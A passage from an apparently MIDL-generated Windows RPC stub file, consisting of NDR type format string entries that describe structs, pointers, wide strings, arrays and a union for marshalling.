FC_UP [simple_pointer] */\n/* 1122 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1124 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1126 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1150) */\n/* 1128 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1130 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1132 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1134 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1136 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1138 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1144 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1148 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1150 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1152 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 1154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1156 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1172) */\n/* 1158 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1160 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1166 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1170 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1172 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1174 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1176 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1178 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1180 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1182 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1184 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1186 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1188 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1190 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (1128) */\n/* 1192 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1194 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1196) */\n/* 1196 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1202 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1206) */\n/* 1204 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1210 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1212 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1236) */\n/* 1214 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1216 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1218 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1222 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1224 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1234 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1236 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1238 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1242 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1248) */\n/* 1244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1246 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1248 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1250 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (1214) */\n/* 1252 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1254 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1256) */\n/* 1256 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1258 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1262 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1272) */\n/* 1264 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1266 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1268 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1270 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1272 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1274 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1276 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1278 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1280 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1282 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1306) */\n/* 1284 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1286 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1288 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1290 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1292 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1294 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1296 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1300 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1304 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1306 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1308 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 1310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1312 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (1330) */\n/* 1314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1316 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1318 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1322 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1326 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1328 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1330 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1332 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1334 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1336 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1340 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1350 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1352 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (1284) */\n/* 1354 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1356 */\tNdrFcShort( 0x1b4 ),\t/* Offset= 436 (1792) */\n/* 1358 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1360 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1362 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1364 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1366 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1378) */\n/* 1378 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1380 */\tNdrFcShort( 0x3006 ),\t/* 12294 */\n/* 1382 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1386 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1420) */\n/* 1388 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1392 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (1482) */\n/* 1394 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1398 */\tNdrFcShort( 0x92 ),\t/* Offset= 146 (1544) */\n/* 1400 */\tNdrFcLong( 0x1f5 ),\t/* 501 */\n/* 1404 */\tNdrFcShort( 0xca ),\t/* Offset= 202 (1606) */\n/* 1406 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1410 */\tNdrFcShort( 0x102 ),\t/* Offset= 258 (1668) */\n/* 1412 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1416 */\tNdrFcShort( 0x13a ),\t/* Offset= 314 (1730) */\n/* 1418 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1417) */\n/* 1420 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1422 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1466) */\n/* 1424 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1428 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1430 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1432 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1434 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1444 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1448 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1462 */\tNdrFcShort( 0xfe5e ),\t/* Offset= -418 (1044) */\n/* 1464 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1466 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1468 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1470 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1472 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1478) */\n/* 1474 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1476 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1478 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1480 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1424) */\n/* 1482 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1484 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1528) */\n/* 1486 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1488 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1490 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1494 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1496 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1502 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1506 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1510 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1512 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1514 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1522 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1524 */\tNdrFcShort( 0xfe32 ),\t/* Offset= -462 (1062) */\n/* 1526 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1528 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1530 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1532 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1534 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1540) */\n/* 1536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1538 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1540 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1542 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1486) */\n/* 1544 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1546 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1590) */\n/* 1548 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1552 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1556 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1558 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1560 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1564 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1568 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1572 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1574 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1576 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1580 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1584 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1586 */\tNdrFcShort( 0xfe0e ),\t/* Offset= -498 (1088) */\n/* 1588 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1590 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1592 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1594 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1596 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1602) */\n/* 1598 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1600 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1602 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1604 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1548) */\n/* 1606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1608 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1652) */\n/* 1610 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1614 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1620 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1622 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1626 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1630 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1634 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1636 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1638 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1642 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1646 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1648 */\tNdrFcShort( 0xfe78 ),\t/* Offset= -392 (1256) */\n/* 1650 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1652 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1654 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1664) */\n/* 1660 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1664 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1666 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1610) */\n/* 1668 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1670 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1714) */\n/* 1672 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1676 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1680 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1682 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1692 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1696 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1698 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1704 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1708 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1710 */\tNdrFcShort( 0xfdd0 ),\t/* Offset= -560 (1150) */\n/* 1712 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1714 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1716 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1720 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1726) */\n/* 1722 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1724 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1726 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1728 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1672) */\n/* 1730 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1732 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1776) */\n/* 1734 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1744 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1746 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1754 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1758 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1760 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1762 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1770 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1772 */\tNdrFcShort( 0xfe2e ),\t/* Offset= -466 (1306) */\n/* 1774 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1776 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1778 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1782 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1788) */\n/* 1784 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1786 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1788 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1790 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1734) */\n/* 1792 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1794 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1796 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1798 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1798) */\n/* 1800 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1802 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1804 */\tNdrFcShort( 0xfe42 ),\t/* Offset= -446 (1358) */\n/* 1806 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1808 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1810 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1812 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1814 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1816) */\n/* 1816 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1818 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1820 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1822 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1824 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1826 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1830 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1834 */\tNdrFcShort( 0xfca4 ),\t/* Offset= -860 (974) */\n/* 1836 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1838 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1840) */\n/* 1840 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1842 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1844 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1846 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1848 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1850 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1854 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1858 */\tNdrFcShort( 0xfc8c ),\t/* Offset= -884 (974) */\n/* 1860 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1862 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1864) */\n/* 1864 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1866 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1868 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1870 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1872 